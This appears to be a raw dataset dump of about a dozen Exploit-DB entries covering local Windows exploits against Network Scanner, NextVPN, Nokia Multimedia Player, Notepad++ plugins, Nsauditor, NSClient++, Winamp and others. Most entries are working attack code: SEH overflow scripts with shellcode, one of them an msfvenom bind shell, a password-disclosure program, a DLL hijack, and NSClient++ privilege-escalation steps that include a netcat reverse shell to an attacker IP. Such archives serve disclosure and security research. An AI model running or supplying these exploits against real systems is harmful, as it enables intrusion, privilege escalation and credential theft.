deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40630
Description: Network Scanner 4.0.0 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2016-10-25
Author: n30m1nd

Exploit:
#!/usr/bin/python
# -*- coding: utf-8 -*-

### Network Scanner Version 4.0.0.0 - SEH Overflow Exploit by n30m1nd ### 

# Date: 2016-10-21
# Exploit Author: n30m1nd
# Exploit Title: Network Scanner Version 4.0.0.0 SEH Based Exploit
# Vendor Homepage: http://www.mitec.cz/
# Software Link: https://www.exploit-db.com/apps/8a419b10772d811ce5eea44cb88ae55b-NetScan.zip
# Version: 4.0.0.0
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# PoC by: INSECT.B - http://binsect00.tistory.com
# 	https://www.exploit-db.com/exploits/39447/
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents and, in the program, go to the "TOOLS" tab then click on "Detect IP from hostname" and paste the contents
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time

# Exploit code
# ============

import struct

# MessageBoxA in NetScan.exe => 004042F1
mbox =	(
		"\x25\x41\x41\x41"
		"\x41\x25\x32\x32"
		"\x32\x32\x50\x68"
		"\x70\x77\x6E\x64"
		"\x54\x5F\x50\x57"
		"\x57\x50\x35\x8E"
		"\x60\x60\x55\x35"
		"\x7F\x22\x20\x55"
		"\x50\xC3"
		)
# JUMP BACK to our shellcode! 
nseh =	(
        # xor al,51h; 	Sets the ZF = 0 (We have to be very unlucky for eax to end in 51h)
        "\x34\x51"
        # jne -32h; 	Jump if ZF = 0
        "\x75\xCC"
        )
# pop pop ret => 00402E67
sehh = struct.pack("<L", 0x00402e67)

payl = "A" * (76-48)
payl+= mbox
payl+= "A"*(48-len(mbox))
payl+= nseh + sehh

with open("exploit.txt","wb") as f:
	f.write(payl[:-1])
print payl

"""
NOTE:
The original author of this PoC stated that it was not possible to be 
exploited since all addresses inside the binary contain the null byte.
As you can see in this exploit, the null byte is added by default at
the end because strings are null terminated when read from an input 
box. This is why we write the payload minus 1 byte, payl[:-1], because
we don't need to write the last null byte for the "pop pop ret" jump
in the "sehh" variable.
"""
Exploit-DB #47831
Description: NextVPN v4.10 - Insecure File Permissions
Type: local
Platform: windows
Date: 2019-12-31
Author: SajjadBnd

Exploit:
# Exploit Title: NextVPN v4.10 - Insecure File Permissions 
# Date: 2019-12-23 
# Exploit Author: SajjadBnd 
# Contact: blackwolf@post.com 
# Vendor Homepage: https://vm3max.site 
# Software Link:http://dl.spacevm.com/NextVPNSetup-v4.10.exe 
# Version: 4.10 
# Tested on: Win10 Professional x64 

[ Description ] 

The NextVPN Application was installed with insecure file permissions. It was found that all folder and file permissions were incorrectly configured during installation. It was possible to replace the service binary. 

[ PoC ]

C:\Users\user\AppData\Local\NextVPN>icacls *.exe

Helper64.exe NT AUTHORITY\SYSTEM:(F)
             BUILTIN\Administrators:(F)
             DESKTOP-5V14SL6\user:(F)
 
NextVPN.exe NT AUTHORITY\SYSTEM:(F)
            BUILTIN\Administrators:(F)
            DESKTOP-5V14SL6\user:(F)
 
Proxifier.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              DESKTOP-5V14SL6\user:(F)
 
ProxyChecker.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 DESKTOP-5V14SL6\user:(F)
 
Uninstall.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              DESKTOP-5V14SL6\user:(F)
 
Successfully processed 5 files; Failed processing 0 files
and other Directories :

>cd openconnect
openconnect.exe NT AUTHORITY\SYSTEM:(F)
                BUILTIN\Administrators:(F)
                DESKTOP-5V14SL6\user:(F)
Successfully processed 1 files; Failed processing 0 files
 
 
>cd st
 
st.exe NT AUTHORITY\SYSTEM:(F)
       BUILTIN\Administrators:(F)
       DESKTOP-5V14SL6\user:(F)
Successfully processed 1 files; Failed processing 0 files
 
>cd update

update.exe NT AUTHORITY\SYSTEM:(F)
           BUILTIN\Administrators:(F)
           DESKTOP-5V14SL6\user:(F)

Successfully processed 1 files; Failed processing 0 files

[ Exploit -Privilege Escalation  ]

ReplaceNextVPN.exe,update.exe,st.exe,openconnect.exe,Helper64.exe and other ... with any executable
malicious  file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
Exploit-DB #40533
Description: NO-IP DUC 4.1.1 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-14
Author: Ehsan Hosseini

Exploit:
=====================================================
# NO-IP DUC v4.1.1 - Unquoted Service Path Privilege Escalation
=====================================================
# Vendor Homepage: http://noip.com
# Date: 14 Oct 2016
# Software Link : http://www.noip.com/client/DUCSetup_v4_1_1.exe
# Version : 4.1.1
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Description:
NO-IP DUC v4.1.1 installs as a service with an unquoted service path with name NoIPDUCService4.

# PoC:
Service name : NoIPDUCService4

C:\>sc qc NoIPDUCService4
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NoIPDUCService4
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\No-IP\ducservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NO-IP DUC v4.1.1
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
		

=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
Exploit-DB #15975
Description: Nokia MultiMedia Player 1.0 - Local Overflow (SEH Unicode)
Type: local
Platform: windows
Date: 2011-01-11
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: Nokia Multimedia player  SEH Unicode
# Date: January 11 2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://www.brothersoft.com/nokia-multimedia-player-download-46238.html
# Version: 1.00.55.5010
# Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8

 
#  mail----> shogilord^gmail.com spams are welcome!!!!! 
#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __ 
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ / 
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/  
 
# COLOMBIA hacking presents.............
#     
# Dont be afraid of unicode my young padawan 
# 
# Big Thanks to sud0 !!
#

junk="\x44" * 2660

shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBdK8lPU4KjLS8o0mPO0LoQXc3QQPlpcdMa5YhnpVXgWRs920wkOXPA" #calc shellcode

nseh="\x61\xC5" 

align = "\x61\x6D\x61\x6D\x50\x6E\xC3" 


seh="\xEF\x42"

junk2="\xcc"*45

junk3="\xcc"*850

buff=junk+nseh+seh+align+junk2+shellcode+junk3

magic = open("Crash1234.npl","w")

magic.write(buff)

magic.close()
Exploit-DB #8171
Description: Nokia MultiMedia Player 1.0 - Playlist Universal Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-03-09
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Nokia Multimedia Player 1.0 (playlist) Universal Seh Overwrite Exploit\n"
print " Founder : 0in"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
buff = "\x41" * 1880

next_seh = "\xEB\x06\x41\x41"

nops = "\x90"*19

seh = "\x0E\xD2\x8E\x01" #yes universal :D




# win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
shellcode = (
	"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
	"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x51\x5a\x6a\x67"
	"\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x77\x41\x42\x32\x42\x41\x32"
	"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x6b\x59\x79\x6c\x6b"
	"\x58\x37\x34\x53\x30\x35\x50\x53\x30\x6c\x4b\x41\x55\x47\x4c\x6c"
	"\x4b\x51\x6c\x63\x35\x54\x38\x77\x71\x7a\x4f\x6e\x6b\x70\x4f\x74"
	"\x58\x4e\x6b\x43\x6f\x37\x50\x43\x31\x5a\x4b\x47\x39\x4e\x6b\x37"
	"\x44\x6c\x4b\x45\x51\x58\x6e\x37\x41\x6b\x70\x6c\x59\x6c\x6c\x4f"
	"\x74\x6f\x30\x62\x54\x47\x77\x6b\x71\x59\x5a\x76\x6d\x74\x41\x6b"
	"\x72\x58\x6b\x69\x64\x65\x6b\x41\x44\x47\x54\x34\x44\x44\x35\x38"
	"\x65\x6e\x6b\x33\x6f\x31\x34\x37\x71\x6a\x4b\x51\x76\x6e\x6b\x44"
	"\x4c\x42\x6b\x6e\x6b\x43\x6f\x57\x6c\x55\x51\x6a\x4b\x4c\x4b\x47"
	"\x6c\x4e\x6b\x75\x51\x4a\x4b\x4e\x69\x31\x4c\x66\x44\x37\x74\x4f"
	"\x33\x55\x61\x4f\x30\x30\x64\x6e\x6b\x77\x30\x36\x50\x4e\x65\x39"
	"\x50\x31\x68\x64\x4c\x6c\x4b\x73\x70\x36\x6c\x6e\x6b\x30\x70\x37"
	"\x6c\x6c\x6d\x4e\x6b\x45\x38\x45\x58\x58\x6b\x73\x39\x6e\x6b\x4b"
	"\x30\x4e\x50\x75\x50\x73\x30\x63\x30\x6c\x4b\x45\x38\x65\x6c\x31"
	"\x4f\x30\x31\x4c\x36\x75\x30\x32\x76\x6d\x59\x59\x68\x6c\x43\x4b"
	"\x70\x41\x6b\x46\x30\x45\x38\x48\x70\x4e\x6a\x65\x54\x43\x6f\x71"
	"\x78\x4f\x68\x59\x6e\x4c\x4a\x76\x6e\x52\x77\x6b\x4f\x6b\x57\x72"
	"\x43\x53\x51\x30\x6c\x52\x43\x77\x70\x67"
    )

	
exploit = buff + next_seh + seh + nops + shellcode
	
try:
    out_file = open("nokia.npl",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!\n"
except:
    print "Error"

# milw0rm.com [2009-03-09]
Exploit-DB #48790
Description: Nord VPN-6.31.13.0 - 'nordvpn-service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-09-04
Author: chipo

Exploit:
# Exploit Title: Nord VPN-6.31.13.0 - 'nordvpn-service' Unquoted Service Path
# Discovery Date: 2020-09-03
# Discovery by: chipo
# Vendor Homepage: https://nordvpn.com
# Software Link : https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Tested Version: 6.31.13.0
# Tested on OS: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path

# Find the discover Unquoted Service Path Vulnerability: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """

nordvpn-service                                                                                                                    nordvpn-service                                         C:\Program Files\NordVPN\nordvpn-service.exe     

# Service info:

C:\>sc qc servicio
[SC] QueryServiceConfig SUCCESS

NOMBRE_SERVICIO: nordvpn-service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\NordVPN\nordvpn-service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : nordvpn-service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.
Exploit-DB #31895
Description: Notepad++ CCompletion Plugin 1.19 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2014-02-25
Author: tishion

Exploit:
Application:Notepad++
Version:6.5.2 UNICODE
Get the application from: http://notepad-plus-plus.org/download/v6.5.2.html

Plugin:CCompletion
Version: Version 1.19 ( Unicode )
Get the plugin from: http://sourceforge.net/apps/mediawiki/notepad-plus/index.php?title=Plugin_Central

Vulnerability:Stack buffer overflow
Vulnerability Impact: Local Code Execution

Triggering details:
1.	Install Notepad++ (6.5.2) with the plugin CCompletion(Version 1.19 UNICODE)
2.	Open Notepad++
3.	Input large number of characters (any character is ok), at least 554 characters.
4.	Select all the text in the editor
5.	Click Menu Plugins->CCompletion->Go to identifier (Open in firt view) F11, then the Notepad++ will be crashed 

Cause of the Vulnerability
The notepad++ sends text the user selected to the plugin of CCompletion, but the plugin copys the text by using lstrcpyW in the module kernel32. So the stack buffer is over flow.

Exploit POC
I constructed an exploit for this vulnerability. It will show a message box with the caption “HA” and the text “Back Door Opend.”
1.	This exploit does not process the mitigation of DEP, so if you want to test it please disable the DEP feature on your system or just for the application.
2.	This exploit uses the “JMP ESP” insturction in module Notepad++.exe, because it is a non-ASLR module.So the expolit is independent of Windows system version.

The expolit is in the file attatchment named shellcode.txt

1．	Open shellcode.txt with Notepad++
2．	Select all the content in the editor
3．	Click Menu Plugins->CCompletion->Go to identifier (Open in firt view) F11

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31895.7z
Exploit-DB #30007
Description: Notepad++ Plugin Notepad 1.5 - Local Overflow
Type: local
Platform: windows
Date: 2013-12-03
Author: Junwen Sun

Exploit:
# Exploit Title: Notepad++ - Notepad# plugin local exploit
# Google Dork:
# Date: 2013-12-01
# Exploit Author: Sun Junwen
# Vendor Homepage: http://notepad-plus-plus.org/
# Software Link: http://notepad-plus-plus.org/download/
# Version: Notepad ++ 6.3.2 with Notepad# plugin (1.5) and Explorer plugin
(1.8.2)
# Tested on: Windows XP SP3 EN
# CVE :

1. Poc
With Notepad# plugin (1.5) and Explorer plugin (1.8.2) installed in Notepad
++ 6.3.2, open the html file in attachement, click Enter in the last
</script> tag, Npp will crash and calc.exe will open. Without Explorer
plugin, these still can be exploit. Explorer plugin makes this easier.

2. Root cause
NotepadSharp plugin has several stack buffer overflow bug.
In its PluginDefinition.cpp file, there are some char buffer whose length
are 9999. They are all defined on stack.
So if some strcpy/memcpy copy more than 9999 chars to these buffers, it
leads to a stack overflow.

3. Tested on
Windows XP SP3 EN
Notepad ++ 6.3.2
Notepad# plugin (1.5) and Explorer plugin (1.8.2)

Sun Junwen
Trendmicro, CDC



Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30007.zip
Exploit-DB #966
Description: NotJustBrowsing 1.0.3 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-04-28
Author: Kozan

Exploit:
/*****************************************************************

NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan

Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
					"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
					0,
					KEY_QUERY_VALUE,
					&hKey
					) == ERROR_SUCCESS)
	{

	lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
	if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
	{
		RegCloseKey(hKey);
		return NULL;
	}
	RegCloseKey(hKey);

	strcat(prgfiles,"\\NetLeaf Limited\\NotJustBrowsing\\notjustbrowsing.prf");

	int i;
	FILE *fp;
	char ch[100];
	if((fp=fopen(prgfiles,"rb")) == NULL)
	{
		return "NOTINSTALLED";
	}
	fseek(fp,adres,0);
	for(i=0;i<uzunluk;i++)
	ch[i]=getc(fp);
	ch[i]=NULL;
	fclose(fp);
	return ch;
	}
}

int main()
{
	printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan\n");
	printf("Credits to ATmaCA\n");
	printf("www.netmagister.com - www.spyinstructors.com\n");
	printf("kozan@netmagister.com\n\n");
	if(bilgi_oku(4,3)==NULL)
	{
		printf("An error occured!\n");
		return -1;
	}
	if(bilgi_oku(4,3)=="NOTINSTALLED")
	{
		printf("NotJustBrowsing 1.0.3 is not installed on your system!\n");
		return -1;
	}
	printf("View Lock Password: %s",bilgi_oku(4,3));
	return 0;
}

// milw0rm.com [2005-04-28]
Exploit-DB #46005
Description: Nsauditor 3.0.28.0 - Local SEH Buffer Overflow
Type: local
Platform: windows
Date: 2018-12-18
Author: Achilles

Exploit:
# Exploit Title: Nsauditor Local SEH Buffer Overflow
# Date: 15-12-2018
# Vendor Homepage:http://www.nsauditor.com
# Software Link:  http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Exploit Author: Achilles
# Tested Version: 3.0.28.0
# Tested on: Windows XP SP3


# 1.- Run python code : Nsauditor.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Nsauditor
# 4.- In the Window select 'Tools' > 'Dns Lookup'
# 5.- Paste the content of EVIL.txt into the Field: 'Dns Query'
# 6.- Click 'Resolve'
# 7.- Connect with Netcat on port 3110

#!/usr/bin/python

buffer = "\x41" * 5235
NSEH = "\xeb\x06\x90\x90"  #jmp short 6
SEH = "\x30\xFF\xE6\x01"   #nsnetutils.dll
nops = "\x90" * 20

#badchar \x00\x0a\x0d\x2e
#msfvenom Bind port 3110
buf =  ""
buf += "\xd9\xc7\xb8\x8e\xe7\x77\xf1\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x53\x83\xeb\xfc\x31\x43\x13\x03\xcd\xf4\x95"
buf += "\x04\x2d\x12\xdb\xe7\xcd\xe3\xbc\x6e\x28\xd2\xfc\x15"
buf += "\x39\x45\xcd\x5e\x6f\x6a\xa6\x33\x9b\xf9\xca\x9b\xac"
buf += "\x4a\x60\xfa\x83\x4b\xd9\x3e\x82\xcf\x20\x13\x64\xf1"
buf += "\xea\x66\x65\x36\x16\x8a\x37\xef\x5c\x39\xa7\x84\x29"
buf += "\x82\x4c\xd6\xbc\x82\xb1\xaf\xbf\xa3\x64\xbb\x99\x63"
buf += "\x87\x68\x92\x2d\x9f\x6d\x9f\xe4\x14\x45\x6b\xf7\xfc"
buf += "\x97\x94\x54\xc1\x17\x67\xa4\x06\x9f\x98\xd3\x7e\xe3"
buf += "\x25\xe4\x45\x99\xf1\x61\x5d\x39\x71\xd1\xb9\xbb\x56"
buf += "\x84\x4a\xb7\x13\xc2\x14\xd4\xa2\x07\x2f\xe0\x2f\xa6"
buf += "\xff\x60\x6b\x8d\xdb\x29\x2f\xac\x7a\x94\x9e\xd1\x9c"
buf += "\x77\x7e\x74\xd7\x9a\x6b\x05\xba\xf2\x58\x24\x44\x03"
buf += "\xf7\x3f\x37\x31\x58\x94\xdf\x79\x11\x32\x18\x7d\x08"
buf += "\x82\xb6\x80\xb3\xf3\x9f\x46\xe7\xa3\xb7\x6f\x88\x2f"
buf += "\x47\x8f\x5d\xc5\x4f\x36\x0e\xf8\xb2\x88\xfe\xbc\x1c"
buf += "\x61\x15\x33\x43\x91\x16\x99\xec\x3a\xeb\x22\x1e\x9d"
buf += "\x62\xc4\x74\xf1\x22\x5e\xe0\x33\x11\x57\x97\x4c\x73"
buf += "\xcf\x3f\x04\x95\xc8\x40\x95\xb3\x7e\xd6\x1e\xd0\xba"
buf += "\xc7\x20\xfd\xea\x90\xb7\x8b\x7a\xd3\x26\x8b\x56\x83"
buf += "\xcb\x1e\x3d\x53\x85\x02\xea\x04\xc2\xf5\xe3\xc0\xfe"
buf += "\xac\x5d\xf6\x02\x28\xa5\xb2\xd8\x89\x28\x3b\xac\xb6"
buf += "\x0e\x2b\x68\x36\x0b\x1f\x24\x61\xc5\xc9\x82\xdb\xa7"
buf += "\xa3\x5c\xb7\x61\x23\x18\xfb\xb1\x35\x25\xd6\x47\xd9"
buf += "\x94\x8f\x11\xe6\x19\x58\x96\x9f\x47\xf8\x59\x4a\xcc"
buf += "\x08\x10\xd6\x65\x81\xfd\x83\x37\xcc\xfd\x7e\x7b\xe9"
buf += "\x7d\x8a\x04\x0e\x9d\xff\x01\x4a\x19\xec\x7b\xc3\xcc"
buf += "\x12\x2f\xe4\xc4"

payload = buffer + NSEH + SEH + nops + buf
try:
    f=open("EVIL.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #46802
Description: NSClient++ 0.5.2.35 - Privilege Escalation
Type: local
Platform: windows
Date: 2019-05-06
Author: bzyo

Exploit:
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation
Date: 05-05-19
Vulnerable Software: NSClient++ 0.5.2.35
Vendor Homepage: http://nsclient.org/
Version: 0.5.2.35
Software Link: http://nsclient.org/download/
Tested on: Windows 10 x64

Details:
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file.  From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.  

The user is able to enable the modules to check external scripts and schedule those scripts to run.  There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere.  Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation.  A reboot, as far as I can tell, is required to reload and read the changes to the web config.  

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.

Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
	C:\Program Files\NSClient++>nscp web -- password --display
	Current [CREDENTIAL_REDACTED]

2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

3. Download nc.exe and evil.bat to c:\temp from attacking machine
	@echo off
	c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe

4. Setup listener on attacking machine
	nc -nlvvp 443

5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
	- foobar
		command = c:\temp\evil.bat

6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
	- foobar
		interval = 1m
		command = foobar

7. Restart the computer and wait for the reverse shell on attacking machine
	nc -nlvvp 443
	listening on [any] 443 ...
	connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
	Microsoft Windows [Version 10.0.17134.753]
	(c) 2018 Microsoft Corporation. All rights reserved.

	C:\Program Files\NSClient++>whoami
	whoami
	nt authority\system
	
Risk:
The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System
Exploit-DB #14789
Description: NullSoft Winamp 5.581 - 'wnaspi32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit

 Vendor: Nullsoft.
 Product Web Page: http://www.winamp.com
 Affected Version: 5.581 (x86)

 Summary: Winamp is a media player for Windows-based PCs,
 written by Nullsoft, now a subsidiary of AOL. It is
 proprietary freeware/shareware, multi-format, extensible
 with plug-ins and skins, and is noted for its graphical
 sound visualization, playlist, and media library features.

 Desc: Winamp 5.581 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extensions are .669, .aac, .aiff, .amf,
 .au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll
 libraries.

 ----
 gcc -shared -o wnaspi32.dll winamp.c

 Compile and rename to wnaspi32.dll, create a file test.cda and put both
 files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}